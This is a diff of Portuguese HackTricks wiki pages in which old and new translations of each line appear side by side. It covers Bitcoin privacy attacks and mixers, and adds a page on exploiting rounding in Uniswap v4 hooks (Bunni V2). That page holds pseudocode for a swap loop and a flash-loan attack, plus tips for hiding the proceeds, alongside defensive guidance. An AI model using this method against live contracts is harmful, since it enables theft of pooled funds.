- **Proof of Stake (PoS)** exige que validadores mantenham uma certa quantidade de tokens, reduzindo o consumo de energia em comparação ao PoW.
- **Proof of Work (PoW)** baseia-se em poder computacional para verificação de transações.
- **Proof of Stake (PoS)** exige que validadores detenham uma certa quantidade de tokens, reduzindo o consumo de energia comparado ao PoW.
## Essenciais do Bitcoin
## Conceitos Essenciais do Bitcoin
### Transações
Transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas através de assinaturas digitais, garantindo que apenas o proprietário da chave privada possa iniciar transferências.
Transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas por assinaturas digitais, garantindo que somente o proprietário da chave privada possa iniciar transferências.
#### Componentes Chave:
#### Componentes Principais:
- **Transações Multisignature** requerem múltiplas assinaturas para autorizar uma transação.
- As transações consistem em **inputs** (fonte de fundos), **outputs** (destino), **fees** (pagas aos mineradores) e **scripts** (regras da transação).
- **Multisignature Transactions** requerem múltiplas assinaturas para autorizar uma transação.
- As transações consistem em **inputs** (origem dos fundos), **outputs** (destino), **fees** (pagas aos mineradores) e **scripts** (regras da transação).
### Lightning Network
Tem como objetivo melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo apenas o estado final para a blockchain.
Visa melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo à blockchain apenas o estado final.
## Preocupações com a Privacidade do Bitcoin
## Preocupações de Privacidade no Bitcoin
Ataques à privacidade, como **Common Input Ownership** e **UTXO Change Address Detection**, exploram padrões de transação. Estratégias como **Mixers** e **CoinJoin** melhoram a anonimidade ao obscurecer os vínculos de transação entre os usuários.
Ataques de privacidade, como **Common Input Ownership** e **UTXO Change Address Detection**, exploram padrões de transações. Estratégias como **Mixers** e **CoinJoin** melhoram o anonimato ao obscurecer os vínculos de transações entre usuários.
## Adquirindo Bitcoins Anonimamente
## Adquirir Bitcoins Anonimamente
Métodos incluem trocas em dinheiro, mineração e uso de mixers. **CoinJoin** mistura múltiplas transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
Métodos incluem troca em dinheiro, mineração e uso de mixers. **CoinJoin** mistura múltiplas transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
# Ataques à Privacidade do Bitcoin
# Ataques de Privacidade no Bitcoin
# Resumo dos Ataques à Privacidade do Bitcoin
# Resumo dos Ataques de Privacidade no Bitcoin
No mundo do Bitcoin, a privacidade das transações e a anonimidade dos usuários são frequentemente assuntos de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais atacantes podem comprometer a privacidade do Bitcoin.
No universo do Bitcoin, a privacidade das transações e o anonimato dos usuários são frequentemente motivo de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais atacantes podem comprometer a privacidade no Bitcoin.
## **Assunção de Propriedade de Input Comum**
## **Common Input Ownership Assumption**
É geralmente raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de input na mesma transação são frequentemente assumidos como pertencentes ao mesmo proprietário**.
Geralmente é raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de entrada na mesma transação são frequentemente assumidos como pertencentes ao mesmo proprietário**.
## **Detecção de Endereço de Troca UTXO**
## **UTXO Change Address Detection**
Um UTXO, ou **Unspent Transaction Output**, deve ser totalmente gasto em uma transação. Se apenas uma parte dele for enviada para outro endereço, o restante vai para um novo endereço de troca. Observadores podem assumir que este novo endereço pertence ao remetente, comprometendo a privacidade.
Uma UTXO, ou **Saída de Transação Não Gasta**, deve ser totalmente gasta em uma transação. Se apenas uma parte for enviada para outro endereço, o restante vai para um novo endereço de troco. Observadores podem assumir que esse novo endereço pertence ao remetente, comprometendo a privacidade.
### Exemplo
Para mitigar isso, serviços de mistura ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
Para mitigar isso, serviços de mixagem ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
## **Exposição em Redes Sociais e Fóruns**
Os usuários às vezes compartilham seus endereços de Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
Usuários às vezes compartilham seus endereços Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
## **Análise de Gráficos de Transação**
## **Análise de Grafo de Transações**
As transações podem ser visualizadas como gráficos, revelando potenciais conexões entre usuários com base no fluxo de fundos.
Transações podem ser visualizadas como grafos, revelando conexões potenciais entre usuários com base no fluxo de fundos.
## **Heurística de Input Desnecessário (Heurística de Troca Ótima)**
## **Heurística de Entrada Desnecessária (Heurística de Troco Ótimo)**
Esta heurística é baseada na análise de transações com múltiplos inputs e outputs para adivinhar qual output é a troca retornando ao remetente.
Essa heurística baseia-se em analisar transações com múltiplas entradas e saídas para adivinhar qual saída é o troco que retorna ao remetente.
### Exemplo
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Se adicionar mais entradas faz com que a saída de mudança seja maior do que qualquer entrada única, isso pode confundir a heurística.
Se adicionar mais inputs fizer com que a saída de change seja maior do que qualquer input individual, isso pode confundir a heurística.
## **Reutilização Forçada de Endereço**
## **Forced Address Reuse**
Os atacantes podem enviar pequenas quantias para endereços previamente utilizados, esperando que o destinatário combine essas quantias com outras entradas em transações futuras, ligando assim os endereços.
Atacantes podem enviar pequenas quantias para endereços já usados, esperando que o destinatário combine essas quantias com outros inputs em transações futuras, ligando os endereços entre si.
### Comportamento Correto da Carteira
### Comportamento correto da wallet
As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para prevenir esse vazamento de privacidade.
As carteiras devem evitar usar moedas recebidas em endereços já usados e vazios para prevenir este privacy leak.
## **Outras Técnicas de Análise de Blockchain**
## **Other Blockchain Analysis Techniques**
- **Quantias de Pagamento Exatas:** Transações sem troco são provavelmente entre dois endereços pertencentes ao mesmo usuário.
- **Números Redondos:** Um número redondo em uma transação sugere que é um pagamento, com a saída não redonda provavelmente sendo o troco.
- **Impressão Digital de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software utilizado e potencialmente o endereço de troco.
- **Correlações de Quantidade e Tempo:** Divulgar horários ou quantias de transações pode tornar as transações rastreáveis.
- **Exact Payment Amounts:** Transações sem change provavelmente são entre dois endereços pertencentes ao mesmo usuário.
- **Round Numbers:** Um número arredondado em uma transação sugere que é um pagamento, com a saída não arredondada provavelmente sendo o change.
- **Wallet Fingerprinting:** Diferentes wallets têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software usado e, potencialmente, o endereço de change.
- **Amount & Timing Correlations:** Divulgar os horários ou valores das transações pode torná-las rastreáveis.
## **Análise de Tráfego**
## **Traffic Analysis**
Ao monitorar o tráfego da rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
Ao monitorar o tráfego de rede, atacantes podem potencialmente ligar transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade opera muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
## Mais
Para uma lista abrangente de ataques à privacidade e defesas, visite [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Transações Anônimas de Bitcoin
# Transações Bitcoin Anônimas
## Formas de Obter Bitcoins Anonimamente
## Formas de Obter Bitcoins de Forma Anônima
- **Transações em Dinheiro**: Adquirir bitcoin através de dinheiro.
- **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin.
- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feito sozinho, pois pools de mineração podem conhecer o endereço IP do minerador. [Informações sobre Pools de Mineração](https://en.bitcoin.it/wiki/Pooled_mining)
- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado.
- **Cash Transactions**: Adquirir bitcoin em dinheiro.
- **Cash Alternatives**: Comprar gift cards e trocá-los online por bitcoin.
- **Mining**: O método mais privado para ganhar bitcoins é através de mining, especialmente quando feito sozinho, porque mining pools podem conhecer o endereço IP do minerador. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado.
## Serviços de Mistura
## Mixing Services
Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que dificulta o rastreamento do proprietário original. No entanto, isso requer confiança no serviço para não manter registros e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos Bitcoin.
Ao usar um serviço de mixing, um usuário pode **enviar bitcoins** e **receber bitcoins diferentes em retorno**, o que dificulta rastrear o proprietário original. Porém, isso requer confiar que o serviço não mantenha logs e que de fato devolva os bitcoins. Opções alternativas de mixing incluem cassinos Bitcoin.
## CoinJoin
**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para quem tenta combinar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas.
CoinJoin mescla múltiplas transações de diferentes usuários em uma só, complicando o processo para quem tenta casar inputs com outputs. Apesar da sua eficácia, transações com tamanhos únicos de inputs e outputs ainda podem ser rastreadas.
Transações de exemplo que podem ter usado CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço semelhante na Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço similar no Ethereum, veja [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
## PayJoin
Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem as características de saídas iguais distintivas do CoinJoin. Isso torna extremamente difícil a detecção e pode invalidar a heurística de propriedade de entrada comum usada por entidades de vigilância de transações.
Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação normal, sem as saídas iguais distintivas características do CoinJoin. Isso a torna extremamente difícil de detectar e pode invalidar a heurística de common-input-ownership usada por entidades de vigilância de transações.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transações como a acima poderiam ser PayJoin, melhorando a privacidade enquanto permanecem indistinguíveis de transações padrão de bitcoin.
Transações como a acima podem ser PayJoin, aumentando a privacidade enquanto permanecem indistinguíveis de transações padrão do bitcoin.
**A utilização de PayJoin poderia desestabilizar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional.
**O uso do PayJoin poderia perturbar significativamente os métodos tradicionais de vigilância**, tornando-o um desenvolvimento promissor na busca pela privacidade transacional.
# Melhores Práticas para Privacidade em Criptomoedas
# Melhores Práticas de Privacidade em Criptomoedas
## **Técnicas de Sincronização de Carteiras**
Para manter a privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam:
Para manter privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam:
- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado.
- **Filtragem de blocos do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que carteiras identifiquem transações relevantes sem expor interesses específicos a observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada.
- **Nó completo**: Ao baixar a blockchain inteira, um nó completo garante privacidade máxima. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços interessam ao usuário.
- **Filtragem de blocos no lado do cliente**: Esse método envolve criar filtros para cada bloco da blockchain, permitindo que carteiras identifiquem transações relevantes sem expor interesses específicos aos observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando há uma correspondência com os endereços do usuário.
## **Utilizando Tor para Anonimato**
## **Usando Tor para Anonimato**
Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar Tor para mascarar seu endereço IP, melhorando a privacidade ao interagir com a rede.
Como o Bitcoin opera em uma rede peer-to-peer, recomenda-se usar Tor para mascarar seu endereço IP, aumentando a privacidade ao interagir com a rede.
## **Prevenindo Reutilização de Endereços**
## **Prevenção da Reutilização de Endereços**
Para proteger a privacidade, é vital usar um novo endereço para cada transação. Reutilizar endereços pode comprometer a privacidade ao vincular transações à mesma entidade. Carteiras modernas desencorajam a reutilização de endereços por meio de seu design.
Para proteger a privacidade, é vital usar um endereço novo para cada transação. Reutilizar endereços pode comprometer a privacidade ao vincular transações à mesma entidade. Carteiras modernas desencorajam a reutilização de endereços por design.
## **Estratégias para Privacidade de Transações**
- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade.
- **Evitar troco**: Optar por transações que não requerem saídas de troco melhora a privacidade ao interromper métodos de detecção de troco.
- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar múltiplas saídas de troco ainda pode melhorar a privacidade.
- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques de privacidade.
- **Evitar outputs de troco**: Optar por transações que não exigem outputs de troco aumenta a privacidade ao atrapalhar métodos de detecção de troco.
- **Múltiplos outputs de troco**: Se evitar troco não for viável, gerar múltiplos outputs de troco ainda pode melhorar a privacidade.
# **Monero: Um Farol de Anonimato**
Monero aborda a necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para a privacidade.
Monero atende à necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para privacidade.
# **Ethereum: Gas e Transações**
## **Entendendo Gas**
## **Entendendo o Gas**
Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação que custa 2.310.000 gwei (ou 0,00231 ETH) envolve um limite de gas e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso reembolsado.
Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação custando 2,310,000 gwei (ou 0.00231 ETH) envolve um gas limit e uma base fee, com uma tip para incentivar os miners. Usuários podem definir um max fee para garantir que não paguem em excesso, com o excedente sendo reembolsado.
## **Executando Transações**
Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou de contrato inteligente. Elas requerem uma taxa e devem ser mineradas. As informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, limite de gas e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade de incluí-lo nos dados da transação.
Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou smart contract. Elas exigem uma taxa e devem ser mineradas. Informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, gas limit e taxas. Notavelmente, o endereço do remetente é deduzido a partir da assinatura, eliminando a necessidade de incluí-lo nos dados da transação.
Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas enquanto prioriza a privacidade e a segurança.
Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje interagir com criptomoedas priorizando privacidade e segurança.
## Referências
@ -179,4 +181,12 @@ Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje s
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## Exploração DeFi/AMM
Se você está pesquisando exploração prática de DEXes e AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), consulte:
{{#ref}}
defi-amm-hook-precision.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

160
src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md Normal file
View File

@ -0,0 +1,160 @@
# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse
{{#include ../../banners/hacktricks-training.md}}
Esta página documenta uma classe de técnicas de exploração DeFi/AMM contra DEXes no estilo Uniswap v4 que estendem a matemática core com hooks customizados. Um incidente recente no Bunni V2 explorou uma falha de arredondamento/precisão em uma Liquidity Distribution Function (LDF) executada em cada swap, permitindo ao atacante acumular créditos positivos e drenar liquidez.
Ideia principal: se um hook implementa contabilidade adicional que depende de matemática em ponto fixo, arredondamento de tick e lógica de limiar, um atacante pode montar swaps exact‑input que cruzem limiares específicos de forma que discrepâncias de arredondamento se acumulem a seu favor. Repetir o padrão e então sacar o saldo inflado realiza o lucro, frequentemente financiado por um flash loan.
## Background: Uniswap v4 hooks and swap flow
- Hooks são contracts que o PoolManager chama em pontos específicos do ciclo de vida (ex.: beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
- Pools são inicializados com um PoolKey incluindo hooks address. Se diferente de zero, o PoolManager executa callbacks em cada operação relevante.
- A matemática core usa formatos em ponto fixo como Q64.96 para sqrtPriceX96 e aritmética de tick com 1.0001^tick. Qualquer matemática custom adicional precisa casar cuidadosamente as semânticas de arredondamento para evitar drift de invariantes.
- Swaps podem ser exactInput ou exactOutput. Em v3/v4, o preço se move ao longo de ticks; cruzar um boundary de tick pode ativar/desativar range liquidity. Hooks podem implementar lógica extra em crossings de tick/limiar.
## Vulnerability archetype: threshold‑crossing precision/rounding drift
Um padrão tipicamente vulnerável em hooks customizados:
1. O hook calcula deltas de liquidity ou balance por swap usando divisão inteira, mulDiv, ou conversões em ponto fixo (ex.: token ↔ liquidity usando sqrtPrice e tick ranges).
2. Lógica de limiar (ex.: rebalancing, redistribuição por degraus, ou ativação por range) é disparada quando o tamanho do swap ou movimento de preço cruza um boundary interno.
3. Arredondamento é aplicado de forma inconsistente (ex.: truncamento em direção a zero, floor versus ceil) entre o cálculo à frente e o caminho de settlement. Pequenas discrepâncias não se cancelam e, ao invés disso, creditam o caller.
4. Exact‑input swaps, precisamente dimensionados para atravessar esses boundaries, colhem repetidamente o resto positivo do arredondamento. O atacante depois retira o crédito acumulado.
Precondições do ataque
- Um pool usando um hook v4 custom que faz matemática adicional em cada swap (ex.: uma LDF/rebalancer).
- Pelo menos um caminho de execução onde o arredondamento beneficia o swap initiator ao cruzar limiares.
- Capacidade de repetir muitos swaps atomicamente (flash loans são ideais para prover float temporário e amortizar gas).
## Practical attack methodology
1) Identify candidate pools with hooks
- Enumere v4 pools e verifique PoolKey.hooks != address(0).
- Inspecione hook bytecode/ABI para callbacks: beforeSwap/afterSwap e quaisquer métodos custom de rebalancing.
- Procure matemática que: divide por liquidity, converte entre token amounts e liquidity, ou agrega BalanceDelta com arredondamento.
2) Model the hook’s math and thresholds
- Recrie a fórmula de liquidity/redistribution do hook: inputs tipicamente incluem sqrtPriceX96, tickLower/Upper, currentTick, fee tier, e net liquidity.
- Mapeie funções de limiar/degrau: ticks, bucket boundaries, ou LDF breakpoints. Determine de que lado de cada boundary o delta é arredondado.
- Identifique onde conversões fazem cast entre uint256/int256, usam SafeCast, ou dependem de mulDiv com floor implícito.
3) Calibrate exact‑input swaps to cross boundaries
- Use Foundry/Hardhat simulations para computar o Δin mínimo necessário para mover o preço pouco além de um boundary e disparar a branch do hook.
- Verifique que, após o settlement do afterSwap, o caller recebe crédito maior que o custo, deixando um BalanceDelta positivo ou crédito na contabilidade do hook.
- Repita swaps para acumular crédito; então invoque o caminho de withdrawal/settlement do hook.
Example Foundry‑style test harness (pseudocode)
```solidity
function test_precision_rounding_abuse() public {
// 1) Arrange: set up pool with hook
PoolKey memory key = PoolKey({
currency0: USDC,
currency1: USDT,
fee: 500, // 0.05%
tickSpacing: 10,
hooks: address(bunniHook)
});
pm.initialize(key, initialSqrtPriceX96);
// 2) Determine a boundary‑crossing exactInput
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
// 3) Loop swaps to accrue rounding credit
for (uint i; i < N; ++i) {
pm.swap(
key,
IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: int256(exactIn), // exactInput
sqrtPriceLimitX96: 0 // allow tick crossing
}),
""
);
}
// 4) Realize inflated credit via hook‑exposed withdrawal
bunniHook.withdrawCredits(msg.sender);
}
```
Calibrando o exactInput
- Calcule ΔsqrtP para um passo de tick: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
- Aproxime Δin usando as fórmulas v3/v4: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Garanta que a direção de arredondamento corresponda à matemática do core.
- Ajuste Δin em ±1 wei ao redor do limite para encontrar o ramo onde o hook arredonda a seu favor.
4) Amplifique com flash loans
- Tome emprestado um notional grande (por exemplo, 3M USDT ou 2000 WETH) para executar muitas iterações atomicamente.
- Execute o loop de swap calibrado, então retire e pague dentro do callback do flash loan.
Esqueleto de flash loan do Aave V3
```solidity
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// run threshold‑crossing swap loop here
for (uint i; i < N; ++i) {
_exactInBoundaryCrossingSwap();
}
// realize credits / withdraw inflated balances
bunniHook.withdrawCredits(address(this));
// repay
for (uint j; j < assets.length; ++j) {
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
}
return true;
}
```
5) Saída e cross‑chain replication
- Se hooks estiverem implantados em múltiplas chains, repita a mesma calibração por chain.
- O bridge retorna para a chain alvo e, opcionalmente, cicla via lending protocols para ofuscar os fluxos.
## Causas raiz comuns na matemática dos hooks
- Semânticas de arredondamento mistas: mulDiv faz floor enquanto caminhos posteriores efetivamente arredondam para cima; ou conversões entre token/liquidity aplicam arredondamentos diferentes.
- Erros de alinhamento de tick: usar ticks não arredondados em um caminho e arredondamento por espaçamento de tick em outro.
- Problemas de sinal/overflow em BalanceDelta ao converter entre int256 e uint256 durante o settlement.
- Perda de precisão em conversões Q64.96 (sqrtPriceX96) não espelhada no mapeamento reverso.
- Caminhos de acumulação: restos por swap rastreados como credits resgatáveis pelo caller em vez de serem queimados/zero‑sum.
## Orientação defensiva
- Differential testing: espelhe a matemática do hook vs uma implementação de referência usando aritmética racional de alta precisão e asserte igualdade ou erro limitado que seja sempre adversarial (nunca favorável ao caller).
- Testes de invariantes/propriedades:
- A soma dos deltas (tokens, liquidity) através dos caminhos de swap e ajustes do hook deve conservar valor modulo fees.
- Nenhum caminho deve criar crédito líquido positivo para o swap initiator em iterações repetidas de exactInput.
- Testes de limites de threshold/tick em torno de ±1 wei de entrada para ambos exactInput/exactOutput.
- Política de arredondamento: centralize helpers de rounding que sempre arredondam contra o usuário; elimine casts inconsistentes e floors implícitos.
- Settlement sinks: acumule resíduos de arredondamento inevitáveis no protocol treasury ou queime-os; nunca atribua a msg.sender.
- Rate‑limits/guardrails: tamanhos mínimos de swap para gatilhos de rebalancing; desabilite rebalances se os deltas forem sub‑wei; verifique sanidade dos deltas contra faixas esperadas.
- Revise callbacks do hook de forma holística: beforeSwap/afterSwap e antes/depois de liquidity changes devem concordar sobre alinhamento de tick e arredondamento de deltas.
## Estudo de caso: Bunni V2 (2025‑09‑02)
- Protocolo: Bunni V2 (Uniswap v4 hook) com um LDF aplicado por swap para rebalancear.
- Causa raiz: erro de rounding/precision na contabilidade de liquidity do LDF durante swaps que cruzam threshold; discrepâncias por swap acumuladas como credits positivos para o caller.
- Perna Ethereum: attacker pegou um flash loan de ~3M USDT, realizou swaps calibrated exact‑input em USDC/USDT para construir credits, sacou saldos inflados, pagou o empréstimo e roteou fundos via Aave.
- Perna UniChain: repetiu o exploit com um flash loan de 2000 WETH, surrupiando ~1366 WETH e fazendo bridge para Ethereum.
- Impacto: ~USD 8.3M drenados across chains. Nenhuma interação de usuário requerida; inteiramente on‑chain.
## Checklist de hunting
- O pool usa um endereço de hooks não nulo? Quais callbacks estão habilitados?
- Existem redistribuições/rebalances por swap usando math customizada? Alguma lógica de tick/threshold?
- Onde estão divisions/mulDiv, conversões Q64.96, ou SafeCast usadas? As semânticas de rounding são globalmente consistentes?
- Você consegue construir Δin que mal cruza um limite e gera um branch de arredondamento favorável? Teste ambas as direções e tanto exactInput quanto exactOutput.
- O hook rastreia credits ou deltas por caller que podem ser sacados depois? Garanta que o resíduo seja neutralizado.
## Referências
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
{{#include ../../banners/hacktricks-training.md}}

182
src/crypto-and-stego/blockchain-and-crypto-currencies.md
View File

@ -1,182 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
## Conceitos Básicos
- **Smart Contracts** são definidos como programas que executam em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
- **Decentralized Applications (dApps)** se baseiam em smart contracts, apresentando uma interface amigável e um back-end transparente e auditável.
- **Tokens & Coins** diferenciam onde coins servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
- **Utility Tokens** concedem acesso a serviços, e **Security Tokens** significam propriedade de ativos.
- **DeFi** significa Finanças Descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
- **DEX** e **DAOs** referem-se a Plataformas de Troca Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
## Mecanismos de Consenso
Mecanismos de consenso garantem validações de transações seguras e acordadas na blockchain:
- **Proof of Work (PoW)** depende de poder computacional para verificação de transações.
- **Proof of Stake (PoS)** exige que validadores mantenham uma certa quantidade de tokens, reduzindo o consumo de energia em comparação ao PoW.
## Essenciais do Bitcoin
### Transações
Transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas através de assinaturas digitais, garantindo que apenas o proprietário da chave privada possa iniciar transferências.
#### Componentes Chave:
- **Transações Multisignature** requerem múltiplas assinaturas para autorizar uma transação.
- As transações consistem em **inputs** (fonte de fundos), **outputs** (destino), **fees** (pagas aos mineradores) e **scripts** (regras da transação).
### Lightning Network
Tem como objetivo melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo apenas o estado final para a blockchain.
## Preocupações com a Privacidade do Bitcoin
Ataques à privacidade, como **Common Input Ownership** e **UTXO Change Address Detection**, exploram padrões de transação. Estratégias como **Mixers** e **CoinJoin** melhoram a anonimidade ao obscurecer os vínculos de transação entre os usuários.
## Adquirindo Bitcoins Anonimamente
Métodos incluem trocas em dinheiro, mineração e uso de mixers. **CoinJoin** mistura múltiplas transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
# Ataques à Privacidade do Bitcoin
# Resumo dos Ataques à Privacidade do Bitcoin
No mundo do Bitcoin, a privacidade das transações e a anonimidade dos usuários são frequentemente assuntos de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais atacantes podem comprometer a privacidade do Bitcoin.
## **Assunção de Propriedade de Input Comum**
É geralmente raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de input na mesma transação são frequentemente assumidos como pertencentes ao mesmo proprietário**.
## **Detecção de Endereço de Troca UTXO**
Um UTXO, ou **Unspent Transaction Output**, deve ser totalmente gasto em uma transação. Se apenas uma parte dele for enviada para outro endereço, o restante vai para um novo endereço de troca. Observadores podem assumir que este novo endereço pertence ao remetente, comprometendo a privacidade.
### Exemplo
Para mitigar isso, serviços de mistura ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
## **Exposição em Redes Sociais e Fóruns**
Usuários às vezes compartilham seus endereços de Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
## **Análise de Gráfico de Transações**
Transações podem ser visualizadas como gráficos, revelando potenciais conexões entre usuários com base no fluxo de fundos.
## **Heurística de Input Desnecessário (Heurística de Troca Ótima)**
Esta heurística é baseada na análise de transações com múltiplos inputs e outputs para adivinhar qual output é a troca retornando ao remetente.
### Exemplo
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Se adicionar mais entradas faz com que a saída de mudança seja maior do que qualquer entrada única, isso pode confundir a heurística.
## **Reutilização Forçada de Endereço**
Os atacantes podem enviar pequenas quantias para endereços previamente utilizados, esperando que o destinatário combine essas quantias com outras entradas em transações futuras, ligando assim os endereços.
### Comportamento Correto da Carteira
As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para prevenir esse vazamento de privacidade.
## **Outras Técnicas de Análise de Blockchain**
- **Quantias de Pagamento Exatas:** Transações sem troco são provavelmente entre dois endereços pertencentes ao mesmo usuário.
